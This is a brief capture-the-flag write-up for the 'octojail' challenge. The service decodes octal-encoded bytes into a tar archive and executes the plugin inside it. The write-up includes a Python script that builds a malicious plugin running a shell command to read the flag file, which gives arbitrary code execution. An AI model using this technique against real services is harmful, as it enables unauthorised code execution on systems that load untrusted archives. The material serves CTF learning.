

octojail

The application takes octal-encoded bytes which are decoded into an archive that is then extracted and executed as a plugin. The plugin code is executed with the service's rights resulting in remote arbitrary code execution within the service context.

Python script to build the octal value:

```
import io, tarfile, pathlib
content = b"import os\n\ndef run():\n    os.system('cat flag.txt')\n"
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w") as t:
    ti = tarfile.TarInfo("plugin.py")
    ti.size = len(content)
    t.addfile(ti, io.BytesIO(content))
data = buf.getvalue()
print(''.join(f"{b:03o}" for b in data))
```

Next we pass the octal value to the listener and get the flag.